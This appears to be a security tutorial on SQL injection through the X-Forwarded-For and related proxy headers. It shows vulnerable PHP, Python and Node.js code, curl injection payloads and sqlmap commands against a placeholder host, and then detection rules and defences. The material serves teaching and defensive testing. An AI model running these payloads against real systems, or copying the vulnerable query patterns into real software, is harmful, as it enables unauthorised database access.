X-Forwarded-For SQL injection is the case where an application reads the X-Forwarded-For header (or one of its siblings: X-Real-IP, X-Client-IP, True-Client-IP, Forwarded) to get the "real" client IP behind a proxy, then concatenates that value into a database query. The vector is concentrated in three contexts: geolocation lookups, IP-based ban lists, and audit logging. Bug-bounty researchers find this one regularly because the lookup pattern is widespread and the validation is consistently weak.
This is one of the per-vector leaves under the SQL injection deep dive and the HTTP request vector map.
In short: X-Forwarded-For SQL injection is the case where an application reads the
X-Forwarded-Forheader (or one of its siblings:X-Real-IP,X-Client-IP,True-Client-IP,Forwarded) to get the "real" client IP behind a proxy, then concatenates that value into a SQL query. The three dangerous contexts are geolocation lookups (SELECT country FROM geoip WHERE ip = '...'), IP-based ban lists, and audit logging. The exploit is one curl command with a malicious-H "X-Forwarded-For: ...". The fix is parameterise the query, validate the value withipaddress.ip_address()(Python) or equivalent before use, and strip incoming X-Forwarded-For at the reverse proxy so the value reaching the application is trustworthy. sqlmap tests this only at--level=5, or explicitly with--headers='X-Forwarded-For: 8.8.8.8*'.
Why proxy headers exist at all
When an application sits behind a load balancer, CDN, or reverse proxy, the TCP socket the application sees terminates at the proxy, not the client. The client's actual IP is gone from the socket-level perspective. The proxy adds it as a header before forwarding:
X-Forwarded-For: 203.0.113.45, 10.0.0.1
The first IP is the original client. Subsequent IPs are the chain of proxies. RFC 7239 defines a more structured replacement (Forwarded:) that almost nobody uses; X-Forwarded-For remains the de facto standard. Applications read this header to learn the "real" client IP.
The bug shows up when the application reads the header value without validating that it is an IP address, then uses it in a query.
Where does X-Forwarded-For SQL injection actually show up?
- Geolocation lookups. "Look up the country for this IP." The app has a
geoiptable mapping IP ranges to countries. The lookup query concatenates the header value. - IP-based ban lists. "Is this IP banned?" The app has a
banned_ipstable. The check query concatenates. - Rate-limit lookups. "How many requests has this IP made in the last minute?" The lookup query concatenates.
- Audit logging. "Record the source IP of every privileged action." Same pattern as User-Agent logging.
- Country-restricted content gating. "Reject requests from sanctioned countries based on the IP's geo." The geo lookup that drives the gate.
The audit-log pattern is the most common. The geolocation lookup is the most exploitable because the result of the lookup often comes back to the user as visible content (the page renders differently based on country), which makes blind injection unnecessary.
The vulnerable code
PHP, the audit-log pattern:
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'];
$sql = "INSERT INTO audit_log (user_id, action, source_ip, timestamp)
VALUES (?, ?, '$ip', NOW())";
$stmt = $pdo->prepare($sql);
$stmt->execute([$user_id, $action]);Note the bug: the developer used a prepared statement, parameterised user_id and action, and then concatenated $ip directly into the SQL string. The prepared statement is irrelevant for the IP value because it was already concatenated before the prepare call.
Python with Flask, the geolocation lookup:
xff = request.headers.get('X-Forwarded-For', request.remote_addr)
client_ip = xff.split(',')[0].strip()
row = db.execute(
f"SELECT country_code FROM geoip WHERE start_ip <= '{client_ip}' AND end_ip >= '{client_ip}'"
).fetchone()Same bug, different language. The .split(',')[0] is a half-hearted parsing attempt that does nothing for injection (the attacker controls the entire header, including making it a single IP-shaped string with payload appended).
Node.js, the rate-limit lookup:
const ip = req.headers['x-forwarded-for']?.split(',')[0] || req.ip;
const result = await pool.query(
`SELECT COUNT(*) FROM request_log WHERE ip = '${ip}' AND ts > NOW() - INTERVAL '1 minute'`
);Why developers think it's safe
- "IPs are simple values, what could go wrong?" They are not values; they are strings until you validate them. The header content is whatever the client sent.
- "The CDN/load balancer sets this header, so it is trusted." The CDN sets it. The CDN does not delete it if the client also sent it. Most CDNs APPEND, so
X-Forwarded-Forbecomes a comma-separated chain with the client's original value first. The "trusted" part of the chain is only the suffix. - "I split on the comma and take the first element, that is the real IP." That is the claimed real IP. The client controls it. There is no validation in
xff.split(',')[0]. - "I have a regex that checks for IPv4." Most developers do not. The ones who do write it after the bug ships.
How do you test X-Forwarded-For for SQL injection by hand?
The simplest probe is a boolean injection in the header:
# Baseline (legitimate IP)
curl -s -H "X-Forwarded-For: 8.8.8.8" "https://target.example/page" | grep -i 'country'
# Probe
curl -s -H "X-Forwarded-For: 8.8.8.8' OR '1'='1" "https://target.example/page" | grep -i 'country'If the country shown changes (or many countries get listed), the header is in a SQL context.
For an error-based confirmation:
curl -i -H "X-Forwarded-For: '" "https://target.example/page" 2>&1 | head -20Look for a 500 response or a stack trace.
For time-based, the universal probe:
curl -w "\n%{time_total}\n" \
-H "X-Forwarded-For: 8.8.8.8' AND SLEEP(5)-- -" \
"https://target.example/page"5+ second response: confirmed.
For the multi-value case (the header is a comma-separated chain), try injecting into the first IP since most apps take [0]:
curl -H "X-Forwarded-For: 8.8.8.8' UNION SELECT 1,2,3-- -, 10.0.0.1" "https://target.example/page"What is the sqlmap command for X-Forwarded-For injection?
Two equivalent approaches.
The discovery method, level 5:
sqlmap -u "https://target.example/page" \
--level=5 --batch --random-agent--level=5 enables Host and most other common headers per the sqlmap official Usage wiki. sqlmap will discover X-Forwarded-For if it is injectable. Slow because it tests every header.
The explicit method with --headers and a * marker:
sqlmap -u "https://target.example/page" \
--headers="X-Forwarded-For: 8.8.8.8*" \
--batchThe * tells sqlmap to inject at that point. Cleanest demonstration of explicit injection-point marking, and it works for any custom header. Replace X-Forwarded-For with whichever sibling header you want to test:
# X-Real-IP
sqlmap -u "https://target.example/page" --headers="X-Real-IP: 8.8.8.8*" --batch
# True-Client-IP (used by Cloudflare and Akamai)
sqlmap -u "https://target.example/page" --headers="True-Client-IP: 8.8.8.8*" --batch
# X-Client-IP
sqlmap -u "https://target.example/page" --headers="X-Client-IP: 8.8.8.8*" --batchIn a real engagement I test all four in sequence. Each is a separate code path, and an app that protects one frequently misses another.
Once injection is confirmed, the enumeration sequence is identical to every other vector. See the sqlmap cheat sheet.
Detection signals
- Header values that are not valid IPs. Real X-Forwarded-For values match
^(\d{1,3}\.){3}\d{1,3}(, ?(\d{1,3}\.){3}\d{1,3})*$for IPv4, or the equivalent IPv6 / mixed pattern. Anything else is exploitation, misconfiguration, or both. - Header length over a threshold. Real X-Forwarded-For chains are at most a few hundred bytes. Payload-bearing values run thousands.
- Database queries from the audit/geo/rate-limit code path with unusual shape. A SELECT against
geoipthat pulls 10,000 rows is exploitation; the legitimate query pulls one. - Reads from
information_schemaby the application user. The standard rule.
The first rule (validate-IP-shape on every header read) is the highest-leverage detection rule, because legitimate traffic is overwhelmingly well-formed.
How do you defend against X-Forwarded-For SQL injection?
Parameterise the query. Same as every other vector. Python:
row = db.execute(
"SELECT country_code FROM geoip WHERE start_ip <= ? AND end_ip >= ?",
(client_ip, client_ip)
).fetchone()Validate the header value before using it. This step is unique to IP-style headers and worth doing in addition to parameterisation:
import ipaddress
def parse_client_ip(xff_header, fallback_ip):
if not xff_header:
return fallback_ip
first = xff_header.split(',')[0].strip()
try:
ipaddress.ip_address(first)
return first
except ValueError:
return fallback_ipipaddress.ip_address() raises if the value is not a valid IPv4 or IPv6 address. Any payload that contains a single quote, comment marker, or SQL keyword will not parse. Reject the request or fall back to the socket IP.
Trust the right segment of the chain. If your CDN sets X-Forwarded-For by appending (the common case), the LAST IP in the chain is the one the CDN added (and trusts), not the first. The first is what the client sent. Configuration varies; check your specific CDN documentation. Cloudflare's CF-Connecting-IP is a single-value, CDN-set header that does not have this ambiguity and is preferred when available.
Defence at the infrastructure level
- At the proxy or load balancer, strip incoming X-Forwarded-For and re-set it from scratch. Most reverse proxies have a configuration flag for this. nginx:
proxy_set_header X-Forwarded-For $remote_addr;replaces whatever the client sent with just the connecting peer's IP (this is what you want if your origin only ever talks to the proxy and the client-claimed value is untrusted). If your proxy chain has multiple legitimate hops to preserve, use the chaining helper instead:proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;which appends$remote_addrto whatever was there. HAProxy: similar config. Either way the application receives a known-shape value rather than arbitrary client input. - Use a CDN-specific header where available. Cloudflare provides
CF-Connecting-IP(single value, set by Cloudflare, cannot be spoofed if requests can only reach you via Cloudflare). Akamai hasTrue-Client-IP. Fastly hasFastly-Client-IP. These are unambiguous and one value, so the parsing surface shrinks. - WAF rules on IP-shaped header values. Reject any request where X-Forwarded-For does not match an IP regex. Most commercial WAFs do this by default.
Common defence mistakes
- Parsing the header for "the real IP" with
.split(',')[0]and assuming that is now safe. It is just the first value. Still attacker-controlled. - Trusting
X-Forwarded-Forwhen the application can be reached directly without going through the CDN. If the origin is reachable, an attacker can send any header value bypassing the CDN entirely. Lock down origin access (firewall to CDN IP ranges, mTLS) or all CDN-based protections collapse. - Stripping the header at the WAF but allowing it through on the internal hop. Verify the value the application sees, not the value the WAF receives.
- Validating IPv4 but accepting IPv6 unchecked, or vice versa. Validate both.
Real-world incidents
- CVE-2017-12650, Loginizer (≤ 1.3.5) is the textbook X-Forwarded-For SQL injection. The WordPress login-hardening plugin read
X-Forwarded-Forto identify "the real client IP" and concatenated it into a query against the failed-login table, on every login attempt. Unauthenticated, pre-login, blind SQL injection. Fixed by switching to a parameterised insert plus IP-shape validation. (WPScan advisory) - Patchstack and the broader WordPress vulnerability databases list a stream of analytics, geolocation, and ban-list plugins with similar bugs in their X-Forwarded-For handling code between 2018 and 2026. The pattern is uniform: trust the header content, concatenate, ship. (Patchstack vulnerability database)
Where to go next
- User-Agent SQL injection, the highest-volume header vector
- Host header SQL injection, the related proxy-header case for multi-tenant routing
- HTTP request vector map, the parent listicle
- SQL injection deep dive, the spoke with the variant taxonomy
- sqlmap cheat sheet for the full flag reference
Sources
Authoritative references this article was fact-checked against.
- OWASP, SQL Injectionowasp.org
- RFC 7239: Forwarded HTTP Extensiondatatracker.ietf.org





